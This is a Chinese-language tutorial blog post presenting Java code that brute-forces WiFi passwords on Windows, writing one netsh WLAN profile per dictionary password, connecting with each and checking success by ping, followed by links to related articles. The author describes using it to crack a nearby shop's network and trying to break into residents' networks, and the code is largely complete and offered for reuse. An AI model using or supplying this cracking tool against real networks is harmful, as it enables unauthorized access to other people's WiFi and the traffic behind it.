Java编程实现暴力破解WIFI密码的方法分析

本文实例讲述了Java编程实现暴力破解WIFI密码的方法。分享给大家供大家参考,具体如下:

开始进入正题。在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux。因为很多笔记本装虚拟机都识别不了内置网卡。所以得把系统刻到U盘,然后用U盘启动。但是我现在穷得连一条内裤都没有了,哪来的U盘啊。于是就决定自己写,而且还得用Java写,写了我还得在windows上运行。

一、准备工作

首先你得需要一台能连wifi的电脑,
然后你的电脑得支持Java环境,
最后你周围得有无线网络。

ok,话不多说,说开撸,老夫就要开撸。于是网上找到了windows下cmd无线网络操作的相关命令。如下:

// 列出所有可用wifi
netsh wlan show networks mode=bssid
// 添加配置文件
netsh wlan add profile filename=FILE_NAME
// 连接wifi
netsh wlan connect name=SSID_NAME
// 导出配置文件
netsh wlan export profile key=clear
// 列出配置文件
netsh wlan show profile
// 删除配置文件
netsh wlan delete profile name=FILE_NAME
// 列出接口
netsh wlan show interface
// 开启接口
netsh interface set interface "Interface Name" enabled

首先需要写配置文件,方便待会使用。首先我们可以看看配置文件张啥样,导出配置文件看看就知道了。打开命令行,输入这我这篇文章中,主要会用到前四个命令,其他的命令就当给各位做拓展了。

netsh wlan export profile key=clear

就导出了配置文件,注意,这儿的配置文件默认导出在cmd执行的当前路径,如下,

我导出的文件就在 C:\Users\Admin 下面,可以看到文件都是wifi.xml方式。如 TP-LINK_5410.xml ,随便打开一个我们可以看到xml文件的具体内容,但是有一些内容是我们不需要的,我们需要的是下面这个样子

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>SSID_NAME</name>
<SSIDConfig>
  <SSID>
    <name>SSID_NAME</name>
  </SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
  <security>
    <authEncryption>
      <authentication>AUTH_TYPE</authentication>
      <encryption>AES</encryption>
      <useOneX>false</useOneX>
    </authEncryption>
    <sharedKey>
      <keyType>passPhrase</keyType>
      <protected>false</protected>
      <keyMaterial>PASSWORD</keyMaterial>
    </sharedKey>
  </security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
  <enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>

二、扫描WIFI

其中 SSID_NAME 是待会我们会用到的wifi名称, AUTH_TYPE 是wifi的加密方式, PASSWORD 是我们会暴力破解的密码变量。

OK,背景交代得差不多了,可以开干了。首先扫描附近的WIFI,返回所有WIFI的信息,包括SSID、加密方式、信号强度(信号太弱的,我们就不进行破解了,破解了也没啥用)。扫描其实就是执行一个CMD命令的问题,先封装一个CMD执行器吧。

/**
 * 执行器
 *
 * @param cmd   CMD命令
 * @param filePath 需要在哪个目录下执行
 */
private static List<String> execute(String cmd, String filePath) {
  Process process = null;
  List<String> result = new ArrayList<String>();
  try {
    if (filePath != null) {
      process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
    } else {
      process = Runtime.getRuntime().exec(cmd);
    }
    BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
    String line = null;
    while ((line = bReader.readLine()) != null) {
      result.add(line);
    }
  } catch (IOException e) {
    e.printStackTrace();
  }
  return result;
}
/**
 * 列出所有信号较好的ssid
 *
 * @return 所有ssid
 */
public static List<Ssid> listSsid() {
  List<Ssid> ssidList = new ArrayList<Ssid>();
  String cmd = Command.SHOW_NETWORKS;
  List<String> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    // todo 整合信息
  }
  return ssidList;
}

然后扫描周围wifi信息,并返回相关信息

三、生成配置文件

OK,接下来我们就可以开始针对每个不同的SSID生成不同的配置文件了,生成文件整个过程就是根据每个不同的密码生成一个配置文件。大概代码如下

/**
 * 配置文件生成器
 */
public class ProfileGenerator {
  private String ssid = null;
  private String passwrodPath = null;
  private ExecutorService threadPool = Executors.newFixedThreadPool(4);
  public ProfileGenerator(String ssid, String passwrodPath) {
    this.ssid = ssid;
    this.passwrodPath = passwrodPath;
  }
  /**
   * 生成配置文件
   */
  public void genProfile() {
    List<String> passwordList = null;
    int counter = 0;
    outer:
    while (true) {
      int start = counter * Connector.BATH_SIZE;
      int end = (counter + 1) * Connector.BATH_SIZE - 1;
      passwordList = FileUtils.readLine(passwrodPath, start, end);
      if (passwordList != null && passwordList.size() > 0) {
        // 生成配置文件
        for (String password : passwordList) {
          GenThread genThread = new GenThread(ssid, password);
          threadPool.execute(genThread);
        }
      } else {
        break outer;
      }
      counter++;
    }
  }
}
class GenThread implements Runnable {
  private String ssid = null;
  private String password = null;
  GenThread(String ssid, String password) {
    this.ssid = ssid;
    this.password = password;
  }
  public void run() {
    String profileContent = Profile.PROFILE.replace(Profile.WIFI_NAME, ssid);
    profileContent = profileContent.replace(Profile.WIFI_PASSWORD, password);
    FileUtils.writeToFile(Connector.PROFILE_TEMP_PATH + "\\" + password + ".xml", profileContent);
  }
}

需要哪些密码可以自己现在网上找一些字典来跑,建议顺序是 常用弱口令 => 字典面 => 随机密码(到了随机密码这儿,意义也不大了)。这儿给出一个常见弱口令的下载连接 。反正我只用这个弱口令破解过一个WIFI。这儿为了加快文件生成速度,我开启了多线程。个人实际感受,如果只是几千到几万个的话,其实多线程不多线程,并没有多大区别,真正的区别在于后面尝试连接的时候。

四、遍历校验配置文件

接下来就是最耗时的一步了,一个个密码去校验。关键代码如下

/**
 * 校验WLAN配置文件是否正确
 * <p>
 * 校验步骤为:
 * ---step1 添加配置文件
 * ---step3 连接wifi
 * ---step3 ping校验
 */
public synchronized boolean check(String ssid, String password) {
  System.out.println("check : " + password);
  try {
    String profileName = password + ".xml";
    if (addProfile(profileName)) {
      if (connect(ssid)) {
        Thread.sleep(50);
        if (ping()) {
          return true;
        }
      }
    }
  } catch (InterruptedException e) {
    e.printStackTrace();
  }
  return false;
}
/**
 * 添加配置文件
 *
 * @param profileName 添加配置文件
 */
private static boolean addProfile(String profileName) {
  String cmd = Command.ADD_PROFILE.replace("FILE_NAME", profileName);
  List<String> result = execute(cmd, Connector.PROFILE_TEMP_PATH);
  if (result != null && result.size() > 0) {
    if (result.get(0).contains("添加到接口")) {
      return true;
    }
  }
  return false;
}
/**
 * 连接wifi
 *
 * @param ssid 添加配置文件
 */
private static boolean connect(String ssid) {
  boolean connected = false;
  String cmd = Command.CONNECT.replace("SSID_NAME", ssid);
  List<String> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    if (result.get(0).contains("已成功完成")) {
      connected = true;
    }
  }
  return connected;
}
/**
 * ping 校验
 */
private static boolean ping() {
  boolean pinged = false;
  String cmd = "ping " + Connector.PING_DOMAIN;
  List<String> result = execute(cmd, null);
  if (result != null && result.size() > 0) {
    for (String item : result) {
      if (item.contains("来自")) {
        pinged = true;
        break;
      }
    }
  }
  return pinged;
}

两点释疑:

1. 为什么需要sleep(50)? 因为在连接后,电脑没有立即反应过来,此时去ping的话,就算密码正确,都会ping不成功。所以需要sleep。我破解的时候sleep(1000)的,还没测试50行不行。

2. 为什么需要ping网站? 因为在第二步连接的时候,不管有没有连接成功,都会出现 ‘已成功完成xx连接' 的字样。所以没办法,只有用ping来校验,不过我相信一定能够优化的。

这一步我开启了多线程,去验证,有人说为什么用多线程,明明验证方法都 synchronized 了,我想说的是,单线程的话,之间总会有间隙的,所以为了压榨那一点点时间,我用了多线程。

五、连接成功

OK,至此,为师已将毕生功力传授给你了,你出去就说是三年经验了。呸,说错了,至此,整个流程大概就已经出来了,接下来就run你的程序吧。等待密码的破解。

我一共在我家周围瞄上了三个信号看起来还可以的wifi。用这个程序跑了40多秒,开了一个wifi的密码 12345678。耶成功了终于可以用了。

然后根据密码,把自家路由器设置一个桥接模式。家里处处都有网了。

五、或者放弃

或者,你也可以放弃。愉快地用了一晚上过后,我第二天早上起来发现网断了,原来那个网不存在了,但是到了中午又有了。我估计是底商闭店了,就断电了,网就没了。

于是想要撬开一个住户的网,跑了两个看起来信号比较好的网络,都以失败告终!!!因为密码字典不够强大。网上下过几个字典生成器,都不能用。算了吧先凑合用着现在的网络,等我有空了,写个字典生成器,来撬开。

更多关于java相关内容感兴趣的读者可查看本站专题:《Java网络编程技巧总结》、《Java Socket编程技巧总结》、《Java文件与目录操作技巧汇总》、《Java数据结构与算法教程》、《Java操作DOM节点技巧总结》和《Java缓存操作技巧汇总》

希望本文所述对大家java程序设计有所帮助。

(0)

相关推荐

  • javasript实现密码的隐藏与显示

    javascript实现的查看隐藏的密码框中明文信息的方法,用户输入密码时显示星号,如何查看明文信息呢,用js可以实现查看密码框的明文. 在密码框中输入密码,会以星号来显示,文字内容被自动隐藏了. 用户输入密码时显示星号,如何查看明文信息呢,用js可以实现查看密码框的明文. 代码: <html><head><title>密码的隐藏与显示</title> </head> <body bgcolor=#fef4d9><br>&

  • Java随机密码生成并和邮箱、手机号匹配

    废话不多说了,直接给大家贴java代码了,代码有所注释,写的不好,还请各位大家多多关照. 代码如下所示: package com.alibaba.uyuni.common.util; import java.util.Random; public class GeneratePassword { /** * 生成随机密码 * @param pwd_len * 生成的密码的总长度 * @return 密码的字符串 */ public static String genRandomNum(int p

  • JavaWeb使用Cookie模拟实现自动登录功能(不需用户名和密码)

    其中包含两个jsp文件,分别为login.jsp和index.jsp 代码如下: login.jsp <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "

  • java web激活邮箱并找回密码

    几乎每个网站或论坛之类的用户注册后都需要通过发送邮件到邮箱激活用户,如何激活邮箱呐? 设计激活步骤: 1.发送激活操作链接地址至用户邮箱. 2.用户至邮箱查收邮件. 3.用户点击链接,跳转至成功页面(修改激活状态),激活成功. 实现: /** * 发送邮件 * * @param request * @return */ @RequestMapping(value = "/sendEmail.jhtml") @ResponseBody public String sendEmail(Ht

  • javascripit实现密码强度检测代码分享

    复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head>    <meta http-equiv=&

  • JavaWeb 中Cookie实现记住密码的功能示例

    本文主要内容: •1.什么是Cookie •2.Cookie带来的好处 •3.Cookie的主要方法 一.什么是Cookie cookie是一种WEB服务器通过浏览器在访问者的硬盘上存储信息的手段.Cookie的目的就是为用户带来方便,为网站带来增值.虽然有着许多误传,事实上Cookie并不会造成严重的安全威胁.Cookie永远不会以任何方式执行,因此也不会带来病毒或攻击你的系统.另外,由于浏览器一般只允许存放300个Cookie,每个站点最多存放20个Cookie,每个Cookie的大小限制为

  • Java传入用户名和密码并自动提交表单实现登录到其他系统的实例代码

    不用单点登录,模拟远程项目的登录页面表单,在访问这个页面的时候自动提交表单到此项目的登录action,就可以实现登录到其他系统. ssh框架项目 1.以下是本地系统的action代码: import java.io.IOException; import java.util.List; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.i

  • Java实现邮箱找回密码实例代码

    通过邮件找回密码功能的实现 1.最近开发一个系统,有个需求就是,忘记密码后通过邮箱找回.现在的系统在注册的时候都会强制输入邮箱,其一目的就是 通过邮件绑定找回,可以进行密码找回.通过java发送邮件的功能我就不说了,重点讲找回密码. 2.参考别人的思路:发送邮件→请求邮件里的URL→验证url→{验证成功修改密码,不成功跳转到失败页面} 重点就是如何生成这个url和如何解析这个url. 需要注意的是一个url只能修改一次密码,当同一帐号发送多封邮件,只有最后一封邮件的url 邮箱 3.加密能防止

  • Java编程实现暴力破解WIFI密码的方法分析

    本文实例讲述了Java编程实现暴力破解WIFI密码的方法.分享给大家供大家参考,具体如下: 开始进入正题.在网上找了很多wifi破解工具,都是linux平台下用的,然后还不支持虚拟机装linux.因为很多笔记本装虚拟机都识别不了内置网卡.所以得把系统刻到U盘,然后用U盘启动.但是我现在穷得连一条内裤都没有了,哪来的U盘啊.于是就决定自己写,而且还得用Java写,写了我还得在windows上运行. 一.准备工作 首先你得需要一台能连wifi的电脑, 然后你的电脑得支持Java环境, 最后你周围得有

  • Python实现暴力破解wifi密码并打包成exe

    目录 前言 功能点预览 前置准备-依赖库 Python tkinter编写GUI界面 密码字典 开撸 打包成exe 演示 PS 前言 python号称是编程界的万金油,那么是否可以做个读取电脑网卡wifi并暴力破解的小脚本呢?在这个基础上为了方便体验是不是可以将其打包成exe这样方便执行的小应用呢? 说干就干~ 功能点预览 本文主要分享以下需求 python获取无线网卡 python通过无线网卡获取wifi python暴力破解wifi python 通过实现GUI图形界面 python打包成e

  • Python利用字典破解WIFI密码的方法

    最近看到网上的一些作品,然后进行一些完善.只是用于学习,不要去干坏事哦.程序来源于网,我只是做了一些优化.当然这种方法破解还是有点慢哦.我用的python 3.6.5 既然要破解wifi,那么连接wifi的模块首先要有的,我们要导入pywifi模块. 有些同学可能没有这个,如果直接通过pip安装的话,可能不能用,听说这个wifi模块被停用了,所以大家如果通过pip安装的不行,那么就下载我提供的. 链接:https://pan.baidu.com/s/1rn-5F1CS5UXOTcLh3QAMhg

  • 如何用Python破解wifi密码过程详解

    前言 Python真的是无所不能,原因就是因为Python有数目庞大的库,无数的现成的轮子,让你做很多很多应用都非常方便.wifi跟我们的生活息息相关,无处不在.今天从WiFi连接的原理,再结合代码为大家详细的出一期关于Python破译wifi密码的Python学习教程! 01.如何连接wifi 首先我们的电脑是如何连接wifi的呢?就拿我们的笔记本电脑来说,我们的笔记本电脑都有无线网卡,如下图所示: 当我们连接WiFi时,无线网卡会自动帮助我们扫描附近的WiFi信号,并且会返回WiFi信号的一

  • python 利用pywifi模块实现连接网络破解wifi密码实时监控网络

    python 利用pywifi模块实现连接网络破解wifi密码实时监控网络,具体内容如下: import pywifi from pywifi import * import time def CrackWifi(password): wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0] # 取一个无限网卡 # 是否成功的标志 isok = True if(iface.status()!=const.IFACE_CONNECTED): profi

  • Python实现暴力破解有密码的zip文件的方法

    背景 今天朋友给我发了一个某游戏的兑换码,压缩文件发过来的.结果被加密了.wc?还说叫爸爸就给我密码?男人是这么容易像恶势力低头的?直接给你爆了好吧,小兔崽子. 一.思路 爆密码的思路其实都大同小异:无非就是字典爆破,就看你是有现成密码字典,还是自己生成密码字典,然后进行循环输入密码,直到输入正确位置.现在很多都有防爆破限制,根本无法进行暴力破解,但是似乎zip这种大家都是用比较简单的密码而且没有什么限制. 因此 实现思路就是 生成字典->输入密码->成功解压 二.实现过程 1.生成字典 生成

  • Python编程生成随机用户名及密码的方法示例

    本文实例讲述了Python编程生成随机用户名及密码的方法.分享给大家供大家参考,具体如下: 方案一: import random global userName,userPassword #为了便于使用,定义为全局变量 userName = '' userPassword = '' def get_userNameAndPassword(): global userName, userPassword usableName_char = "1234567890abcdefghijklmnopqr

  • java编程实现基于UDP协议传输数据的方法

    本文实例讲述了java编程实现基于UDP协议传输数据的方法.分享给大家供大家参考,具体如下: UDP协议(User Datagram Protocol,用户数据报协议)不同于TCP协议,它是不可能靠的,但是它比TCP协议具有更快的传输速度,UDP发送的数据单元称为数据报,当网络传输UDP传输UDP数据报是无法保证数据能够到达目的地,也无法保证按发送的顺序到达目的地,也就是说先发送了"hello",再发送了"world",但接收方可能会先收到"world&q

  • Java编程实现提取文章中关键字的方法

    本文实例讲述了Java编程实现提取文章中关键字的方法.分享给大家供大家参考,具体如下: 实现代码: /** * 相关的jar包 * lucene-core-3.6.2.jar,lucene-memory-3.6.2.jar, * lucene-highlighter-3.6.2.jar,lucene-analyzers-3.6.2.jar * IKAnalyzer2012.jar * * 截取一片文章中频繁出现的关键字,并给予分组排序(倒叙),以数组格式返回n个关键字 * * 并该类内部含有一个

  • Java编程求二叉树的镜像两种方法介绍

    给出一棵二叉树,求它的镜像,如下图:右边是二叉树是左边二叉树的镜像. 仔细分析这两棵树的特点,看看能不能总结出求镜像的步骤.这两棵树的根节点相同,但他们的左右两个子节点交换了位置.因此我们不妨先在树中交换根节点的两个子节点,就得到了下面一幅图中的第二颗树 解法1(递归) 思路1:如果当前节点为空,返回,否则交换该节点的左右节点,递归的对其左右节点进行交换处理. /*class TreeNode{ int val; TreeNode left=null; TreeNode right=null;

随机推荐